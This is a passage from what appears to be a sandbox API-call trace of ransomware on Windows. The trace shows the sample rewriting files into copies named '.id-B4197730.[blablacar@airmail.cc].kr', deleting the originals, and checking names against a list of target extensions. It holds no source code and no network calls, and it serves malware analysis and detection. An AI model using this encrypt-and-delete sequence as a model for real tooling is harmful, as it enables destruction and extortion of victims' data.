hTemplateFile=0x0) returned 0x340 [0085.923] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.923] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.923] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0086.821] GetLastError () returned 0x0 [0086.821] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xf13, lpOverlapped=0x0) returned 1 [0086.825] WriteFile (in: hFile=0x300, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf20, lpOverlapped=0x0) returned 1 [0086.826] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0086.827] WriteFile (in: hFile=0x300, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xe4, lpOverlapped=0x0) returned 1 [0086.827] SetEndOfFile (hFile=0x300) returned 1 [0086.827] CloseHandle (hObject=0x300) returned 1 [0086.834] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0086.834] SetEndOfFile (hFile=0x340) returned 1 [0086.835] CloseHandle (hObject=0x340) returned 1 [0086.835] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0086.836] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0086.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0086.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0086.836] lstrlenW (lpString=".doc") returned 4 [0086.836] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0086.836] lstrlenW (lpString=".docx") returned 5 [0086.836] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0086.836] lstrlenW (lpString=".pdf") returned 4 [0086.836] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0086.836] lstrlenW (lpString=".xls") returned 4 [0086.836] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0086.836] lstrlenW (lpString=".xlsx") returned 5 [0086.836] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0086.836] lstrlenW (lpString=".ppt") returned 4 [0086.837] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0086.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0086.837] lstrlenW (lpString=".zip") returned 4 [0086.837] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0086.837] lstrlenW (lpString=".rar") returned 4 [0086.837] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0086.837] lstrlenW (lpString=".bz2") returned 4 [0086.837] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0086.837] lstrlenW (lpString=".7z") returned 3 [0086.837] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0086.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0086.837] lstrlenW (lpString=".dbf") returned 4 [0086.837] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0086.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0086.837] lstrlenW (lpString=".1cd") returned 4 [0086.837] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0086.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0086.837] lstrlenW (lpString=".jpg") returned 4 [0086.837] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0086.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0086.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0086.837] lstrlenW (lpString=".doc") returned 4 [0086.837] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0086.837] lstrlenW (lpString=".docx") returned 5 [0086.837] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0086.838] lstrlenW (lpString=".pdf") returned 4 [0086.838] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0086.838] lstrlenW (lpString=".xls") returned 4 [0086.838] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0086.838] lstrlenW (lpString=".xlsx") returned 5 [0086.838] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0086.838] lstrlenW (lpString=".ppt") returned 4 [0086.838] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0086.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0086.838] lstrlenW (lpString=".zip") returned 4 [0086.838] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0086.838] lstrlenW (lpString=".rar") returned 4 [0086.838] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0086.838] lstrlenW (lpString=".bz2") returned 4 [0086.838] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0086.838] lstrlenW (lpString=".7z") returned 3 [0086.838] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0086.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0086.838] lstrlenW (lpString=".dbf") returned 4 [0086.838] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0086.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0086.838] lstrlenW (lpString=".1cd") returned 4 [0086.838] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0086.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0086.838] lstrlenW (lpString=".jpg") returned 4 [0086.838] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0086.839] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0086.839] lstrlenW (lpString="eula.rtf") returned 8 [0086.839] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0086.839] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=6309) returned 1 [0086.839] CloseHandle (hObject=0x340) returned 1 [0086.839] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0086.839] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0086.839] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0086.840] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0086.840] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0086.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0086.842] GetLastError () returned 0x0 [0086.842] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x18a5, lpOverlapped=0x0) returned 1 [0086.844] WriteFile (in: hFile=0x300, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x18b0, lpOverlapped=0x0) returned 1 [0086.845] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0086.845] WriteFile (in: hFile=0x300, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xe4, lpOverlapped=0x0) returned 1 [0086.845] SetEndOfFile (hFile=0x300) returned 1 [0086.846] CloseHandle (hObject=0x300) returned 1 [0086.847] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0086.847] SetEndOfFile (hFile=0x340) returned 1 [0086.848] CloseHandle (hObject=0x340) returned 1 [0086.848] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0086.848] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0086.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0086.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0086.849] lstrlenW (lpString=".doc") returned 4 [0086.849] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0086.849] lstrlenW (lpString=".docx") returned 5 [0086.849] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0086.849] lstrlenW (lpString=".pdf") returned 4 [0086.849] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0086.849] lstrlenW (lpString=".xls") returned 4 [0086.849] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0086.849] lstrlenW (lpString=".xlsx") returned 5 [0086.849] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0086.849] lstrlenW (lpString=".ppt") returned 4 [0086.849] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0086.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0086.849] lstrlenW (lpString=".zip") returned 4 [0086.849] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0086.849] lstrlenW (lpString=".rar") returned 4 [0086.849] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0086.849] lstrlenW (lpString=".bz2") returned 4 [0086.849] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0086.849] lstrlenW (lpString=".7z") returned 3 [0086.849] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0086.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0086.849] lstrlenW (lpString=".dbf") returned 4 [0086.849] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0086.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0086.849] lstrlenW (lpString=".1cd") returned 4 [0086.850] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0086.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0086.850] lstrlenW (lpString=".jpg") returned 4 [0086.850] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0086.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0086.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0086.850] lstrlenW (lpString=".doc") returned 4 [0086.850] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0086.850] lstrlenW (lpString=".docx") returned 5 [0086.850] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0086.851] lstrlenW (lpString=".pdf") returned 4 [0086.851] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0086.851] lstrlenW (lpString=".xls") returned 4 [0086.851] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0086.851] lstrlenW (lpString=".xlsx") returned 5 [0086.851] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0086.851] lstrlenW (lpString=".ppt") returned 4 [0086.851] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0086.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0086.851] lstrlenW (lpString=".zip") returned 4 [0086.851] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0086.851] lstrlenW (lpString=".rar") returned 4 [0086.851] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0086.851] lstrlenW (lpString=".bz2") returned 4 [0086.851] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0086.851] lstrlenW (lpString=".7z") returned 3 [0086.853] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0086.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0086.853] lstrlenW (lpString=".dbf") returned 4 [0086.853] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0086.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0086.853] lstrlenW (lpString=".1cd") returned 4 [0086.853] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0086.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0086.853] lstrlenW (lpString=".jpg") returned 4 [0086.853] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0086.853] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0086.853] lstrlenW (lpString="LocalizedData.xml") returned 17 [0086.853] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0086.854] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=60816) returned 1 [0086.854] CloseHandle (hObject=0x340) returned 1 [0086.854] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0086.854] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0086.854] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0086.854] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0086.854] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0086.854] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0086.855] GetLastError () returned 0x0 [0086.855] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xed90, lpOverlapped=0x0) returned 1 [0087.295] WriteFile (in: hFile=0x300, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xeda0, lpOverlapped=0x0) returned 1 [0087.297] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0087.298] WriteFile (in: hFile=0x300, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf6, lpOverlapped=0x0) returned 1 [0087.298] SetEndOfFile (hFile=0x300) returned 1 [0087.298] CloseHandle (hObject=0x300) returned 1 [0087.300] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0087.300] SetEndOfFile (hFile=0x340) returned 1 [0087.302] CloseHandle (hObject=0x340) returned 1 [0087.302] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.302] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0087.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0087.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0087.303] lstrlenW (lpString=".doc") returned 4 [0087.303] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.303] lstrlenW (lpString=".docx") returned 5 [0087.303] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0087.303] lstrlenW (lpString=".pdf") returned 4 [0087.303] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.303] lstrlenW (lpString=".xls") returned 4 [0087.303] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.303] lstrlenW (lpString=".xlsx") returned 5 [0087.303] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0087.303] lstrlenW (lpString=".ppt") returned 4 [0087.303] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0087.304] lstrlenW (lpString=".zip") returned 4 [0087.304] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.304] lstrlenW (lpString=".rar") returned 4 [0087.304] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.304] lstrlenW (lpString=".bz2") returned 4 [0087.304] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.304] lstrlenW (lpString=".7z") returned 3 [0087.304] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0087.304] lstrlenW (lpString=".dbf") returned 4 [0087.304] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0087.304] lstrlenW (lpString=".1cd") returned 4 [0087.304] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0087.304] lstrlenW (lpString=".jpg") returned 4 [0087.304] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0087.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0087.304] lstrlenW (lpString=".doc") returned 4 [0087.304] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.304] lstrlenW (lpString=".docx") returned 5 [0087.304] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0087.304] lstrlenW (lpString=".pdf") returned 4 [0087.304] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.305] lstrlenW (lpString=".xls") returned 4 [0087.305] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.305] lstrlenW (lpString=".xlsx") returned 5 [0087.305] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0087.305] lstrlenW (lpString=".ppt") returned 4 [0087.305] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0087.305] lstrlenW (lpString=".zip") returned 4 [0087.305] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.305] lstrlenW (lpString=".rar") returned 4 [0087.305] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.305] lstrlenW (lpString=".bz2") returned 4 [0087.305] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.305] lstrlenW (lpString=".7z") returned 3 [0087.305] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0087.305] lstrlenW (lpString=".dbf") returned 4 [0087.305] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0087.305] lstrlenW (lpString=".1cd") returned 4 [0087.305] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0087.305] lstrlenW (lpString=".jpg") returned 4 [0087.305] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.306] lstrcmpiW (lpString1=".html", lpString2=".kr") returned -1 [0087.306] lstrlenW (lpString="DHtmlHeader.html") returned 16 [0087.306] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0087.307] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=16118) returned 1 [0087.307] CloseHandle (hObject=0x340) returned 1 [0087.307] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0087.307] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.308] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0087.308] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0087.308] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0087.308] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0087.308] GetLastError () returned 0x0 [0087.308] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x3ef6, lpOverlapped=0x0) returned 1 [0087.310] WriteFile (in: hFile=0x300, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x3f00, lpOverlapped=0x0) returned 1 [0087.311] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0087.312] WriteFile (in: hFile=0x300, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf4, lpOverlapped=0x0) returned 1 [0087.312] SetEndOfFile (hFile=0x300) returned 1 [0087.312] CloseHandle (hObject=0x300) returned 1 [0087.314] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0087.314] SetEndOfFile (hFile=0x340) returned 1 [0087.315] CloseHandle (hObject=0x340) returned 1 [0087.315] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.315] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0087.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0087.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0087.315] lstrlenW (lpString=".doc") returned 4 [0087.316] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0087.316] lstrlenW (lpString=".docx") returned 5 [0087.316] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0087.316] lstrlenW (lpString=".pdf") returned 4 [0087.316] 